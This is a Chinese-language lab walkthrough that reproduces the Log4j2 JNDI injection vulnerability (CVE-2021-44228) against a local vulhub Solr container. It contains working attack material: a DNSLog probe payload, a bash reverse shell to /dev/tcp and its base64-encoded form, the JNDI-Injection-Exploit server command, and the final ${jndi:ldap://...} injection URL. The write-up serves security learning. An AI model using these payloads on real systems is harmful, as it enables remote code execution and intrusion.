目录
靶场搭建
因为没有服务器所以只能在本地搭建,在虚拟机上拉取文件
git clone https://github.com/vulhub/vulhub.git
Vulhub - Docker-Compose file for vulnerability environment
下载好后到CVE-2021-44228目录下启动漏洞的容器
sudo docker-compose up -d
访问成功
漏洞测试
首先了解一下JNDI
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现。
这里我们使用DNSLog平台测试dns回显
首先在里面获取一个地址
在该网页的/solr/admin/cores目录下有参数可以传
所以传入一个参数
http://192.168.200.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.l1wa8j.dnslog.cn}
红色部分是获取到的地址
再来看DNSLog
发现有数据传输,说明存在Log4j2漏洞
漏洞利用
攻击机:kali 192.168.200.128
先编写一个反弹shell的语句
bash -i >& /dev/tcp/192.168.200.128/6666 0>&1
6666是攻击机要监听的端口
对该语句进行base64编码
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
接下来下载工具JNDI-Injection-Exploit
这个工具可以一键部署LDAP服务和http服务
sudo git clone https://github.com/sayers522/JNDI-Injection-Exploit.git
下载好之后在该JNDI-Injection-Exploit文件目录下打开终端,生成.jar可执行文件
mvn clean package -DskipTests
生成后会在JNDI-Injection-Exploit目录下发现一个target文件,在该文件下打开终端
进行一键部署
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A "攻击机ip"
结合上面的编码最终为
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.128"
接下来监听要反弹shell的端口6666
最后进行JNDI注入,向靶场网页传入payload
http://192.168.200.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.128:1389/jnamke}
可以发现有回显和成功反弹shell
总结
通过工具来生成带有反弹shell语句的恶意可执行文件,进而通过部署LDAP服务和http服务,然后通过LDAP服务实现JNDI注入使得服务器去请求http服务上的恶意可执行文件从而造成服务器解析反弹shell的指令最后实现getshell
参考:
(1条消息) log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客